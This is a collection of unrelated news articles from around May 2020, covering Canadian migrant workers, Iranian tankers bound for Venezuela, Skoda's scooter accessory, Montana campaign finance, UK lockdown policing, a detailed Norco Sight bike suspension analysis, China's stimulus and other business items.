For some products, such as honey, the specialized skills and knowledge of migrant workers was further highlighted as essential, given the length of time that would be required to train a new workforce in that industry.

Now that migrant workers have been spotlighted, as well as the true value of the work they do in Canada and for Canadians, its time Canada dramatically improved their working conditions, their pay, their legal rights and their opportunity to immigrate to Canada.

Although migrant workers are not paid less than Canadian counterparts, one of the hallmarks of the Canadian jobs they fill is low wages. This is especially so in industries that are predominantly made up of migrant workers, such as agriculture and in-home caregiving.

The value of these industries and their workers is clear, and their wages should be increased to reflect that.

Employment rights violations, including wage violations, against migrant workers are widespread and well documented. There is often little proactive enforcement and labour inspections in these workplaces.

Some provinces have adopted legislation requiring employers of migrant workers to register with provincial authorities, including Manitoba, Saskatchewan and British Columbia.

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These registries provide provincial authorities with employer information that can and should be used for better and more regular inspections and audits. That helps protect migrant workers and ensure their employment rights are being respected. For provinces without this kind of legislation, tracking down where migrant workers are employed is more challenging, making inspections and audits more difficult to conduct proactively.

No path to citizenship

Finally, migrant workers may spend a big portion of their lives in Canada, yet most in low-wage occupations are not eligible to apply for permanent immigration based on that work experience, an immigration option available for migrants in skilled occupations.

As the current pandemic has demonstrated, migrant workers in low-wage occupations are just as vital to the Canadian economy as skilled workers, and should similarly be given the opportunity to permanently immigrate.

A recent federal pilot project for agricultural workers is doing just that, and will hopefully be expanded in the future.

Bethany Hastie is an assistant professor of law at the University of British Columbia.

This article was first published at The Conversation Canada: theconversation.com/ca.
Planes and ships from the Venezuelan armed forces will escort Iranian tankers as soon as the vessels, carrying barrels of fuel for the South American country, enter Venezuela's exclusive economic zone, Defense Minister Vladimir Padrino said on Wednesday, Deutsche Welle writes in the article Venezuela to escort fuel tankers from Iran despite US threat. Venezuelas defense minister said he was thankful for Irans solidarity as the coronavirus pandemic adds to its economic woes. Venezuela has the worlds largest oil reserves, but its capacity to refine is limited.

"When they enter our exclusive economic zone, they will be escorted by Bolivarian National Armed Forces boats and planes to welcome them in and thank the Iranian people for their solidarity and cooperation," Padrino said, defying US complaints about the shipments.

Padrino addressed the difficulties that the Venezuelan economy was facing because of the coronavirus pandemic. The country has registered just over 800 cases of the virus, but scientists believe that close to 63% more may be infected. "If a country like the Islamic Republic of Iran ... provides us with humanitarian aid, just as with the one we received from Russia, the People's Republic of China and other countries of the world  It is welcome," Padrino added.

Tehran has warned of "consequences"if the US, which opposes Nicolas Maduro's regime, stopped the ships from reaching their destination. The vessels from Iran include five gasoline tankers with 1.5 million barrels of fuel. They are expected to arrive between the end of May and early June.

Guaido worried

The announcement came soon after Venezuelan opposition leader Juan Guaido, who is recognized as the country's legitimate leader by many countries including the US, said the shipment was alarming for the region. He said he was "very worried" about this "attempt of Iranian presence on Venezuelan soil" that was not authorized by the opposition-controlled National Assembly.

While Venezuela has the largest oil reserves in the world, oil production has taken a hit over the past two decades, due to mismanagement and, many say, rampant corruption under the socialist rule. Many also blame US sanctions aimed at removing President Nicolas Maduro from power to have had an adverse effect on the economy.

US President Donald Trump's administration has imposed unilateral sanctions aimed at ending oil exports from Iran and Venezuela, both major crude producers. Even before the pandemic, Venezuela suffered from an economic meltdown that has seen millions of Venezuelans fleeing abroad.
Skoda has revealed its latest feature you can have in one of its new cars - a scooter.

The branded scooter is a 120 option for the latest Scala hatchback and Kamiq compact-SUV models.

However, if you choose one, it means you can't have a spare wheel with your car, because the scooter's storage compartment is the well where the spare wheel goes.

You choose: Buyers of new Skoda models can either opt for a 120 fold-up scooter or a spare wheel - but they can't have both

Skoda says the new accessory is perfect for 'the owner who needs to cross the city in style'.

Though not perfect for the owner who might get a puncture from one of Britain's pothole-ravaged roads.

The scooter is made by fellow Czech firm Laurin and Klement, which has dabbled in automobiles, motorcycle and bicycles since the brand was founded in 1895 and can be ordered from the car maker's accessory pack when customers buy either of the two Skoda models.

The car maker says that, thanks to a patented folding mechanism, the Skoda Scooter can be folded up in a few simple steps and when collapsed is small enough to fit into the compartment under the boot floor.

'This means that the entire volume of the boot remains free for transporting luggage and shopping,' Skoda states.

While that might be true, it also means anyone who orders one has to go without a spare wheel.

The scooter is only available if customers have a puncture repair kit instead of a space-saving spare wheel, as the ride-on's storage compartment is the spare wheel well.

Anyone who chooses this option will at least be able to complete their trip under their own steam, but it's not the most ideal way of continuing a journey if you're unfortunate enough to get a flat tyre - especially on a motorway.

Skoda says the new accessory is perfect for 'the owner who needs to cross the city in style'. Though it's not perfect for the owner who's likely to get a puncture from one of Britain's pothole-ravaged roads

The scooter folds up and can be stored under the boot floor in the spare wheel well. That means those who order one will be forced to have a tyre repair kit in case of punctures

Spare wheels are already becoming less common in new cars.

The latest market review by What Car? in 2018 revealed that just 62 per cent of new car owners at the time would be without any form of spare wheel.

Analysis by the magazine found that just 8 per cent of new cars sold in the UK two years ago had a full-size spare wheel supplied with them.

Another 30 per cent have skinnier space-saver spares that are designed to be a short-term fix if you do get a puncture.

Just 8% of new cars sold in 2018 came with a full-size spare wheel that's a direct replacement for the one that has a punctured tyre

With one fitted, a driver can only travel at speeds of up to 50mph and its recommended the space saver is replaced with a full-size wheel with a new tyre at the earliest convenience.

Infuriatingly for motorists, the most common flat tyre remedy provided by car manufacturers today are puncture repair kits - the same as what you'd need to have if you wanted a scooter with your new Skoda.

These are widely accepted as being difficult to use, ineffective and in some cases damage tyres beyond repair at a later date.

Still, manufacturers were supplying repair kits in 55 per cent of new cars that were available in showrooms in 2018 - a market share that's likely to have increased since.

The remaining 7 per cent of cars in 2018 came with run-flat tyres, which are more expensive to replace.

If not having a spare wheel isn't enough to put you off spending 120 for a scooter, Skoda says its transportable push-along has been designed for adult use, has a weight capacity of 100kg and high-quality bearings and wheels in polyurethane to 'guarantee an equally fast and comfortable riding experience'.

The scooter itself weighs just 5kg, so could be an option for those who commute by train and leave their motors at station car parks.

We'd still prefer the option of a spare wheel to fall back on, though.

Skoda's new scooter option comes in the same week that plans for rental e-scooter (with electric power) were revealed by the UK government.

Proposals say riders won't require training or need to wear a helmet when riding one, but they will be banned from using pavements and be restricted to a top speed of 12.5mph.

The proposals are part of a consultation launched by the Department for Transport to allow pilot schemes to launch next month as an alternative mode of transport for commuters who have been urged to avoid public transport where possible.
Shanghai (Gasgoo)- SAIC-GM-Wuling (SGMW)'s Wuling brand is about to launch an all-new logo on May 25.

The move perhaps demonstrates the 35-year-old brand's resolution to move upscale and meet consumers' demands to greater travelling efficiency and mobility experience.

(Wuling Hongguang V, photo source: SGWM)



Thanks to its reliable product quality and user-first service philosophy, Wuling has garnered a vast number of consumers in China. On the day of unveiling the new logo, the automaker will also see its 22 millionth complete vehicle roll off the production line.

SGMW, the joint venture among General Motors, SAIC Motor and Liuzhou Wuling Motors, earned much likes during the anti-coronavirus fight with its prompt response in producing the urgently need face masks and mask-producing machines, which had many automakers follow its suit. By virtue of a powerful manufacturing capability, the automaker took only three days to roll out the first self-made masks and 76 hours to output the first mask-making machine.

Amid the shock waves sent by the COVID-19 spread, China witnessed sweeping drops in automobile sales. However, the paper number offered by SGWM was not that bad. The company said its retail sales in March surpassed 130,000 units, and the April deliveries jumped 13.5% compared to the year-ago period.

SGWM is making great stride in developing self-driving technologies. After launching the first logistics route dedicated to autonomous driving at its Baojun base in March, it announced earlier this week a new route of such kind was put into use at the Hexi base. Up until now, the automaker has deployed 75 autonomous cars on 16 logistics routes in total.
Investors may want to brace for a tumultuous June.

Federated Hermes' Phil Orlando believes a "cleansing correction" could spark a 10% drop or more within weeks.

"You've got some investors who are bearish by nature and got sucked into this 36% rally," the firm's chief equity market strategist told CNBC's "Trading Nation" on Thursday. "If the market starts to pull back in coming weeks, they'll throw in the towel and say 'Ah! I knew I shouldn't have gotten into the market. The market is going down. This coronavirus is killing me.' And then, they will wash their shares into the market."

His prediction applies to momentum traders, who rushed back into the market out of the fear of missing out phenomenon.

"A cleansing correction washes out the weak hands, and it allows the strong hands that understand the economic cycle to participate in the next up leg," he said.

According to Orlando, another round of "pretty brutal" data will be the likely catalyst.

"We've got a couple of big fundamental things on the horizon, meaning second quarter GDP and second quarter corporate earnings," he said.

He also sees stocks are hitting resistance after pushing up into the 200-day moving average. On Thursday, the S&P 500 closed at 2,948, which is 15% below the all-time high.

Due to the latest pullback risks, Orlando reduced his overweight position by one percent last month. But he remains one of the market's biggest bulls.

"We went from a 4% overweight to a 3% overweight," he said.

And now, he's getting ready to pounce.

Orlando suspects his favorite groups health care and technology will be most vulnerable over the next several weeks due to their recent outperformance.

"Many investors may very well take profits disproportionately in the areas that have worked," Orlando said. "If the fundamentals remain strong, there is no reason not to continue riding those stocks higher looking over the next year or so."

Disclaimer
The transition comes at a tumultuous time for Steppenwolf and the Oregon festival, both of which have been forced by the current COVID-19 crisis to cancel large chunks of live programming and now are facing significant financial duress due to a loss in earned income. For Steppenwolf, which will not produce a live show again until at least the fall, this change in leadership has occurred in the middle of an ambitious capital campaign for a new, $54 million theater. The in-the-round venue is well under construction on Steppenwolfs current campus in Lincoln Park, but has yet to be fully funded.
In the run-up to the June 2 governor race primary, Republican U.S. Rep. Greg Gianforte has spent and raised the most of any candidate, at more than $3.57 million, which includes another loan from the candidate of $500,000.

That brings Gianforte's total self-financing to $1.5 million this election.

Gianforte pulled in more than $651,800 from mid-April to mid-May, though that includes the $500,000 loan. Fox raised $39,178. Olszewski got $72,100, but $50,000 was a loan from the candidate.

Gianforte has also out-spent any other candidate by far, dropping $2.6 million on the race. Campaign finance reports filed Wednesday show heavy spending on advertising, with $356,240 going to TV ads from April 16 to May 14. The campaign also sent $137,210 in mailers over that period and put $28,580 toward polling.

The candidate closest to Gianforte in both raising and spending still trails his financial force significantly. That's Democratic candidate Whitney Williams, a Missoula businesswoman. She's running against Lt. Gov. Mike Cooney, who isn't far behind her.

Over the election Williams reported raising about $1.01 million and has spent $738,102 to date. More than any other candidate, Williams is pulling campaign contributions from out of state, tapping into an extensive network she built in the private sector.

A measure tracked by the Montana Free Press puts the percent of her individual contributions from Montanans at 25%, though the data is pulled from figures that may not include contributions below $35. All candidates are measured off data reported following the same rules. Cooney, by comparison, has gotten about 74% of his individual contributions from Montana.

Expenditure reports now required to be filed within 48 hours show Williams is putting up last-minute ads, including one for $20,000 on stations in Butte, Bozeman and Missoula that will run May 20-26. Williams' campaign also spent $18,624 on a TV ad in Great Falls. From April 16-May 14 Williams spent an additional $155,100 on TV ads.

Montanans across the state want a new generation of leadership to help us recover from these challenging times, and the surge in momentum and fundraising shows that, Williams said in an emailed statement. In these final days, we'll continue to get our message out that Montanans want leadership, energy and new ideas, a champion for clean water, public lands and women, and a candidate who can lead us into a bright future.

Cooney has raised more than $895,000. Over the last filing period from mid-April to mid-May, the lieutenant governor brought in about $134,000 to Williams' $147,500, though she also reported an additional $18,000 over the last few days, relying very heavily on out-of-state contributors.

"I want to thank the many Montanans who have been incredibly generous in their contributions to this campaign," Cooney said in an emailed statement. "Their grassroots support is what's going to get us across the finish line on June 2 and keep our Montana values in the governor's office come November."

Cooney has spent about $684,000. That includes $37,000 worth of polling on May 4. He also spent about $39,000 for an ad buy that will run May 17-26 in Billings, Great Falls and Missoula and another $28,270 on ad production in those markets.

Fox has raised about $760,000 over the election and spent about $579,300. His campaign dropped about $30,700 on TV ads recently, and also reported a $5,000 loan from Fox's running mate, former state Rep. Jon Knokey of Bozeman.

To date Olszewski has raised about $350,000. He spent about $28,300 on TV ads in the last month.

By Wednesday evening, about 29% of those mailed an absentee ballot had returned it. The primary is being conducted mostly by mail because of the novel coronavirus pandemic, though in-person voting is still available at county elections offices. Ballots can take up to five business days to be delivered, so people are encouraged to mail them in soon or drop them off at their local elections offices.

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Police are asking the public to abide by lockdown restrictions as another warm and sunny bank holiday weekend approaches.

Forces warned of a notable rise in visits to beaches and beauty spots following the relaxation of government coronavirus guidance in England.

Leaders also called for Muslims to celebrate Eid, which marks the end of the Ramadan holy month, at home over the weekend.

The Metropolitan Police said that it was legal to spend recreational time outside with only those from the same household, or a single member of a different household in England.

We have been made aware of a number of proposed plans for gatherings this weekend and we can only reiterate the importance of sticking to the government guidelines, said Deputy Assistant Commissioner Laurence Taylor.

Restrictions around activities that do not support social distancing remain the same, meaning that group sport, outdoor barbecues or parties, and other gatherings are still not permitted.

We do not wish to use means of enforcement, but where deemed necessary, officers will take action against those that disregard restrictions.

Downing Street urged the public to continue to abide by the social distancing rules.

The prime ministers official spokesperson told a Westminster briefing: We recognise the sacrifices which the public are making but as we head into the long weekend we must all renew our efforts.

The past week has seen people flock to the coast during a heatwave, sparking concerns around overcrowding in carparks and on beaches.

Dorset Police said there had been a notable rise in the number of people visiting the countys beaches, parks, forests and beauty spots since restrictions were eased on 13 May.

Sunseekers head to beaches amid lockdown measures Show all 7 1 /7 Sunseekers head to beaches amid lockdown measures Sunseekers head to beaches amid lockdown measures People enjoy the hot weather at Bournemouth beach in Dorset on 20 May PA Sunseekers head to beaches amid lockdown measures People enjoy the hot weather at Bournemouth beach in Dorset on 20 May PA Sunseekers head to beaches amid lockdown measures Beachgoers bask in the sun on Brighton Beach in Brighton on 20 May EPA Sunseekers head to beaches amid lockdown measures People enjoy the sunshine on Birling Gap beach on 20 May near Eastbourne Getty Sunseekers head to beaches amid lockdown measures Seagulls are perched on a street lamp as beachgoers bask in the sun on Brighton Beach EPA Sunseekers head to beaches amid lockdown measures People head to the beach as England basks in sunshine in Blackpool Getty Sunseekers head to beaches amid lockdown measures Parts of the country were expected to reach 29 degrees celsius, luring sunbathers and testing the capacity of parks and beaches to accommodate social distanced crowds. Getty

Chief Constable James Vaughan said people had also been violating the law by staying overnight in caravans, tents and holiday homes.

He added: If too many people flock to these places, social distancing cannot be achieved.

Were asking people to think twice about what theyre doing  is it safe and is it fair  and do the right thing. Each of us needs to take responsibility for controlling the spread of coronavirus.

He warned that RNLI lifeguards are not operating a full service patrolling beaches.

Officials in Cumbria appealed for members of the public not to visit the Lake District.

Colin Cox, the countys director of public health, said: I understand that people may feel their individual visit wont cause a problem, but when thousands of people have the same idea then that has the potential to create genuine issues.

Derbyshire Constabulary, which polices the Peak District, said local people had been left feeling vulnerable and at risk by large numbers of visitors last weekend.

In many parts of Derbyshire, particularly rural villages, social distancing is difficult with large numbers of visitors, a spokesperson added.

North Wales Police issued a reminder that under Welsh law people should only exercise in their local area and that restrictions remained more stringent than those in England.

Temporary Assistant Chief Constable Nigel Harrison said: Weve continued to see people travelling totally unreasonable distances into north Wales, which is extremely disappointing.

North Tees and Hartlepool NHS Foundation Trust said coronavirus was not over yet, adding: We can ill afford to become complacent after all the hard work to date

We all miss our loved ones, we are living through exceptional times, and we recognise the pressures the restrictions bring.

Visitors to Southend beach walk past a social distancing warning sign (EPA)

The Muslim Council of Britain has issued guidance on celebrating Eid in accordance with lockdown measures, as mosques remain closed.

Though Eid is traditionally marked with congregational prayers in mosques and parks followed by parties amongst families and friends, Eid in the time of the coronavirus will look markedly different, a spokesperson said.

Muslims are being encouraged to celebrate Eid in the same way as Ramadan: from home, and virtually with friends and family.

Greater Manchester Police appealed for members of the public not to travel to the Rusholme area, which normally sees large celebrations, and said there would be a dedicated policing plan in place.
WATERBURY  A 2-year-old remains in critical condition after being taken to the hospital with face injuries and difficulty breathing earlier this month, police officials said Thursday.

Police, fire and paramedics responded to a Lakewood Road home for a report of an unresponsive child at 5:54 p.m on May 2, according to Lt. David Silverio.

The 2-year-old child had visible facial injuries and difficulty breathing, Silverio said. Family members at the home at the time called 911.

The child was taken by ambulance to an area hospital for treatment before then being airlifted to Connecticut Childrens Medical Center with life-threatening injuries.

The child remains hospitalized in critical condition, Silverio said.

As detectives from the Major Crimes Unit continue to investigate the infants injuries, Silverio said, they served two search warrants at the Lakewood Road home where the child was taken from on May 2.

During the investigation, detectives found out that the child was also hurt on April 28. Silverio said the 2-year-old was treated at a nearby hospital for a head injury that was reported as the result of a fall. He said this injury was never reported to police.

Silverio said detectives were granted arrest warrant for two people involved in one or both of these incidents.

Lisa Burgison, 54, of Lakewood Road, was charged with risk of injury to a child, third-degree hindering prosecution, second-degree false statement and interfering with an officer.

Raymond D. Burgison, 32, also of Lakewood Road, was charged with the same offenses.

They were each held on a $500,000 bond.
Behind the Numbers is made possible by Creaform Portable 3D Measurement Technologies

Scanning

The C-Track unit keeps a watch on the handheld scanner and positions it in space.

The MetraSCAN 3D was the perfect tool for doing our repeated scans on the four bikes we took to the Creaform France office in Grenoble.

The Norco Sight uses a four-bar suspension system and so the instant center is a virtual point in space, depicted here by the engineering standard for showing an instant center - a cat.

The Norco Sight comes in two wheel sizes to cater for everyones preference, and we scanned the 29 version. Between the wheel sizes, reach, chainstay, effective seat angle, and seat tube length are the same. Its only the head angle, bottom bracket height, fork offset, stack, and head tube length that change.



The Sight has 150mm rear travel, 160mm of fork travel, and touts much more progressive geometry than a lot of the other trail bikes out there today.



Norco Sight Analysis Details



Travel Rear: 149.6mm

Travel Front: 160mm

Wheel Size: 29"

Frame Size: M

CoG Height: 1,100mm

Chainring Size: 32T

Cassette Cog Sizes: 50T, 24T and 10T





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The instant centre moves around in space as the links that define it move with the rear wheel. The yellow dots represent the pivots of the bike and the red the IC.

Leverage Ratio

Anti-Squat

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The red IC dot is carried over and creates the blue IC - rear axle line. Intersecting that with the chain line we get the instant centre of anti-squat, the green dot. The orange dot represents the 100% anti-squat mark.

Pedal Kickback

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Remember that pedal kickback is calculated with a fixed rear wheel and only looks at the influence on the crank. When we ride it can be a different matter. The blue line represents the bike at zero travel and the green shows how the cranks rotate backwards as the bike goes through its travel.

Anti-Rise

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It's only the red IC dot we need to calculate anti-rise. The orange one again represents the 100% anti-rise mark.

Axle Path

Assumptions in Analysis

Final Thoughts

The Norco Sight is overall a bigger bike from front to back and with more travel front and rear than last weeks Commencal Meta TR 29. Its aimed a touch more towards descending and aggressive riding, but is still a well-balanced trail bike that can climb and comfortably descend, with brilliant geometry and predictable suspension, if a little easier to find the end of travel. These characteristics, both favorable and not, can be seen in the curves and values once we delve inside the suspension.



The Commencal might be a more evenly balanced for attacking both sides of the hills with its shorter travel and focus, but Norco chose a slightly more aggressive focus for the Sight that could see it configured to encroach into the enduro segment.



But as is commented in our review of the Sight, it climbs exceptionally with its mix of geometry and suspension, and can descend fast and predictably. And with Norcos focus on achieving a good fit and balance for each rider size, its no surprise to see that its a really popular bike out on the trails.



Heading into round two of our Behind the Numbers trail bikes we have the 2020 Norco Sight. If youd like to go back and see what we looked at for our first trail bike, check out the Commencal Meta TR 29 analysis Norco is one of the larger brands in the industry to be adopting the properly long and slack mantra that many other companies say, but dont deliver to the degree of Norco. Their Sight was bumped up in terms of travel and size for 2020, and it points more at the aggressive, downhill side of trail bikes.One standout feature that Norco does is evolving their geometry as the bike size changes. Dubbed Ride Aligned, there is a focus on keeping a front to rear balance for all the sizes by growing the chainstays as the front end lengthens. They even steepen the seat angles as the sizes grow to keep the riders weight in a more balanced position when seated. Few brands do this, and Norco deserve a tip of the cap for it.The Sight may look like a lot of other bikes at the moment from 100 yards, and thats mainly down to the layout. But ever since a certain patent expired, weve seen a lot of companies adopt this design and there are good reasons behind this that we can see from the suspension characteristics it gives.For the Sight, as well as the others we'll be doing in the future, we filled a van with test bikes from our local bike shop, The Factory in Fribourg, Switzerland, and headed off to Creaforms French office in Grenoble.Seeing as we had multiple bikes to do, one after another, Creaforms MetraSCAN 3D was the tool for the job. The MetraSCAN is a 3D scanning solution aimed at shop floor condition in industry , where repetitive scans jobs are needed and potentially with much larger volume parts.Compared to the HandySCAN hardware previously used, it requires less reflective stick-on targets to locate the scanner in space. Instead, the MetraSCAN uses an additional C-Track unit to constantly watch the scanner and position it in space, with the spherical handheld scanner having multiple reflective targets all over it. The measuring volume of the system is about 16.6 cubic meters with a single fixed C-Track.Reminiscent of the Martians in War of the Worlds, the C-Track can be moved around during a scan session, allowing you to get into all the nooks and crannies of a part and build up the 3D data you need. And by moving the C-Track around, you can scan larger objects than if the C-Track were to stay in one position. Multiple C-Tracks can also be linked together for these larger parts or to even create a metrology room, dedicated just to scanning.Once the initial setup was done for the bikes, with a small floor-mounted jig to fix the front wheel, it was a quick and easy process to setup the next bike and repeat the scan. With the setup and expertise of the Creaform team in France, we were able to accurately scan all four bikes in less than a day and safely return them to the shop without a single scratch.Norco is one of only a few manufactures to evolve their chainstay length and seat tube angle as the sizes change. As the frame size grows, the chainstays get longer in 5mm increments and the virtual seat angle gets steeper. This is a standout point for Norco and the other manufacturers doing this. These changes work to keep the riders mass more balanced between the contact patches both when stood and seated.The Sight uses a Horst pivot rocker link suspension layout, something tried and tested and also fairly common in its usage today, but with good reason. Compared to last weeks single-pivot suspension design, there's a disconnect between the mainframe and the rear axle with the Horst pivot. Something that can make some faux-bar suspensions systems look like the four-bar system like the Sight, but have different curves and options for the engineers to achieve their suspension goals.With the inclusion of the Horst pivot it now means that the rear axle moves around a virtual point in space, called the instant center. As we move through the travel, this IC moves around in space, as opposed to being a fixed main pivot on the frame like the Commencal. This ability to move the IC around in a bigger window opens up more options to adjust and balance all the suspension characteristics.Generally, the Horst pivot rocker link designs put all the suspension curves in a good starting range at the beginning of a bike's development. But that doesnt guarantee that all bikes with this layout have good curves; it can still generate terrible curves and suspension traits. So, like with every suspension system, it still needs care and attention to have good suspension characteristics amidst balancing all the packaging, construction, aesthetics, and other concerns.Another gold star for Norco is their Ride Aligned bike setup guide which is one of the best out there. The online guide uses your inputs of height, weight, and gender to suggest shock and fork setups covering pressures, tokens, and damping settings but also going as far as suggesting tire pressure and cockpit setup. Theres even adjustability in the setup guide to account for your riding skill, and it includes brilliant descriptions of each skill level, even adjusting for differences in setup for riders with a more forwards or rearward riding bias.The Sight has 18.43% progression with a starting leverage ratio of 3.22 and finishing at 2.62. Over the entire curve theres an average leverage ratio of 2.85.It uses a 185 x 52.5mm shock to generate its 150mm travel - just a note for when comparing back to the Commencal with its 130mm travel coming from a 50mm stroke.The leverage ratio starts progressively until around the last third of travel where it begins to flatten out. Mike Kazimer reviewed the Sight 29 C1 back in February and needed to add an extra volume spacer to the shock to help tune for this end-stroke linearity. Initially starting with 30% sag, the bike was bottoming out a little too often for his liking. Upping to 25% helped with this but then brought some added harshness with the higher spring rate. In the end, he settled on that one extra volume spacer and 27% sag.The Sights leverage ratio curve shape is remarkably similar to last weeks Meta TR 29, with the biggest differences coming from the values. But if we differentiate the leverage ratio curve there is a sign that the Sight actually has a subtle x^3 shape to it. This is something not seen from looking at just the leverage ratio curve and is a very subtle change to the Commencals x^2 shape, but differentiating the leverage ratio curve is a good way to zoom in and see the minute changes in it.The ratios on the Sight are generally higher than on the Commencal, with those higher ratios putting more force into the shock and compressing it slower, which would usually call for higher spring rates and a slightly firmer damping tune.30% shock stroke sag gives 32.44% rear-wheel travel. Not a hugely progressive leverage ratio so falls at about 2% of each other.Mike commented that the bike felt more planted than poppy, something that can come from suspension setup, but in the case of the Sight comes from the slightly higher leverage ratios all round. Those higher ratios would allow the shock to move more readily into the travel when faced with rider inputs or impacts.The Norco does have 3.8% more progression than the Commencal, but its likely these higher ratios combined with the end-stroke linearity that can give the feel of finding the bottom of the travel a bit more often. But that relatively smoothly changing leverage ratio curve again lends itself to a predictable feel and makes the bike react well to suspension adjustments.The Sight C1 29 comes with a 32-tooth chainring and SRAM Eagle gearing. Again, we took the 50, 24, and 10-tooth cogs as a good representation of the whole cassette.Like a single pivot design, the Sight produces very close to straight lines for the anti-squat. For our analysis, all those curves start at the same 104% point. At 30% sag, there is 91% in the lightest climbing gear and would only result in a bit of squat from the load transfer when accelerating.That percentage does drop as you go down the cassette, with 88% for the 24-tooth and 80% for the 10-tooth at sag.There is a drop in the anti-squat curves as the bike goes through its travel, a bit more than the Commencal, down to just under 35% at its lowest point. But in the gears more associated with climbing there is less drop from start to finish, with the 24-tooth cog finishing at just above 55%.The Sights brilliant seated position is also going to help the bike's climbing performance, not just due to being in a more comfortable position, but also balancing the riders mass between the contact patches more evenly than a bike with a really slack seat angle. Once pointed uphill that split between the contact patches becomes more rearward biased and the bike becomes more sensitive to the suspension squat from accelerating. The Sights seated position and the high anti-squat work together to statically and dynamically keep the load on the front wheel and make the bikes long reach and slack head angle work really well when climbing.The anti-squat may be a touch lower than the Commencal, and the leverage ratio is a touch higher, but the bike still provides a supportive feel when climbing in and out of the saddle.The Sight has 20mm more rear-wheel travel than the Meta TR 29 and so generates a bit more maximum pedal kickback in the 50-tooth gear, with 28.8 degrees in the big cog. But this then drops to 13.2 degrees in the 24T and 4.78 degrees in the 10T which is lower than the corresponding gears for the Commencal despite the extra travel.Both the Commencal and the Norco have the same static chainstay length of 435mm and, surprisingly, they both finish with the same chainstay length of 455mm at the end of travel, despite the Norco having that extra 20mm.If we take the same conditions as our previous test, riding along in the 24-tooth gear on the cassette and then rode off a 1m high drop that used 75% of our travel, how fast would we have to be going for the impact to not cause any pedal kickback?In the case of the Norco, wed have to be going 9.7km/h, or 6.1mph, for the pedal kickback to never be a problem. Only a fraction slower than the Commencal as the pedal kickback for the same parameters is fractionally less.That moving IC that we talked about can be used to generate really flat line anti-rise curves. In the case of the Sight it only varies by 1.4% from start to finish. That would mean that no matter where you are in the travel, the bike's response to rear braking would be the same. Your CoG would likely move as you went through travel, but this is true of all the other bike analyses.The anti-rise hovers around 57% meaning that just over half the load transfer from rear braking would be counteracted. The remainder would go into having the suspension rise and could then work in conjunction with the dive in the fork to cause the load split between the contact patch to become more biased towards the front.But there are a lot of bikes with anti-rise levels around the same as the Sight, which does strike a balance between combatting some of the load transfer from braking while allowing the suspension to move a little more freely while combatting the load transfer.There is a small amount of rearwards movement just before sag, 1.5mm. But from then on, its a forwards trajectory for 16mm until bottom out. There is more overall movement when compared to the Commencal, but this is due to the extra travel that the Norco has. But the axle paths are again remarkably similar in their trajectory.We once again come to the point that the Norco, while a bit more aggressively biased, is still a trail bike designed to go up, along, and down the hills. Unless the axle path is a clear driver in the development of a bike then it often comes after the other suspension characteristics and is more a result of achieving a good leverage ratio, anti-squat, and anti-rise curve.If the axle path were to be a driving force in the bike's development, then several decisions have to fall in line with that quest for a truly rearward axle path. And contribute to many of the high pivot bike similarities in terms of suspension characteristics, layout, and packaging.One interesting comparison point between the single-pivot Meta TR 29 and the four-bar Sight is the difference in swingarm length as we go through travel. For the Commencal, the swingarm length, or distance between the IC and rear axle, remains constant at 413mm. But for the Norco it starts with over double the swingarm length of 882mm and gradually shrinks to 553mm at the end of travel. This swingarm length effectively represents the radius of the curve at any point in the axle path, as its around the IC that the rear axle is rotating.For all the trail bikes we took size medium, and so we adjust our Center of Gravity (CoG) height to 1,100mm above the ground.Its good to remember that the analyses for anti-squat and anti-rise always assume a static CoG. In the real world, this is rarely the case, but needs to be done for analysis sake to allow it to be easily calculated and then compared to other designs and bikes. Once we have our analysis its then easy to add back in the real-world elements that are relevant to each of us and where we ride our bikes. For more chin-scratching about that, check out the Enginerding article on anti-squat.Theres no industry standard for the fork in anti-squat and anti-rise analysis. We can either fix the fork travel to generate a single curve or we can adjust the fork travel as we go through the rear travel to create a window. For these analyses we leave the fork at fixed at full travel. Again, as long as these assumptions about AS and AR are known and understood, its easier to analyze and compare bikes.
Speakers of the National Assemblies of Artsakh (Nagorno-Karabakh) and Armenia Artur Tovmasyan and Ararat Mirzoyan had a meeting today.

On behalf of himself and the National Assembly of Armenia, Mirzoyan congratulated the newly elected Speaker of the Parliament of Artsakh and expressed willingness to continue to expand the close cooperation between the parliaments of the two Armenian republics.

Expressing gratitude to Mirzoyan for visiting Artsakh with the parliamentary delegation of Armenia, Artur Tovmasyan highly appreciated the role of the National Assembly of Armenia in presenting the position of Artsakh within different parliamentary frameworks.

The parliamentary speakers meeting continued with an enlarged meeting with the deputies of both parliaments. Greeting the attendees, Tovmasyan touched upon the foreign relations of the Parliament of Artsakh and emphasized the deepening of relations with the co-chairing countries of the OSCE Minsk Group dealing with the settlement of the Nagorno-Karabakh conflict, attaching importance to the role of the Parliament of Armenia.

Speaker of the National Assembly of Armenia Ararat Mirzoyan congratulated the attendees on the nationwide elections held in Artsakh, touched upon the cooperation between the parliaments of the Armenian republics and emphasized the role of parliamentary diplomacy in presenting the Artsakhs position on the settlement of the Nagorno-Karabakh conflict. The result of peaceful talks and the final solution to the Artsakh issue must be hinged on the exercise of the right of the people of Artsakh to self-determination, and there cant be any solution without the consent of the peoples of Artsakh and Armenia, he stated.
China has abandoned its annual economic growth target as it implements half-a-trillion dollars worth of tax cuts to pull its economy out of the coronavirus crisis.

Declaring the need for "extraordinary measures for an unusual time", Chinese Premier Li Keqiang told the National People's Congress on Friday that the Chinese Communist Party would need "to blaze a new path" that enables it to respond effectively to shocks and sustain a positive growth cycle.

The sweeping measures include 2 trillion yuan ($428.5 billion) being transferred to local governments as stimulus payments for businesses and households. All Chinese small businesses and sole traders will have their company tax payments postponed until 2021, costing 2.5 trillion yuan ($535.3 billion).

Chinese Premier Li Keqiang delivers the government work report during the opening session of China's National People's Congress. Credit:Pool AP

Li said China would not establish an economic growth target because of the uncertainty surrounding the COVID-19 pandemic and the global economic environment. China grew by 6.1 per cent in 2019, its slowest rate of growth in three decades. Analysts had expected a growth figure of 3 per cent in 2020 as the economy rebounds in the second half of the year.
AUSTIN, Texas and LIVONIA, Mich., May 22, 2020 /PRNewswire/ -- Abrigo announced it has partnered with CU Solutions Group (CUSG) in support of Abrigo's Paycheck Protection Program (PPP) Forgiveness and Administration solution, part of the Sageworks SBA Lending solution, to aid credit unions in streamlining the loan forgiveness and administration process.

The PPP forgiveness process is expected to be a time-intensive process for financial institutions as they work with borrowers to collect documentation and submit information to the Small Business Administration (SBA). With many aspects of the forgiveness process currently unclear, it is beneficial for credit unions to have a partner, like Abrigo, to help the institution to stay compliant and service the loans at scale.

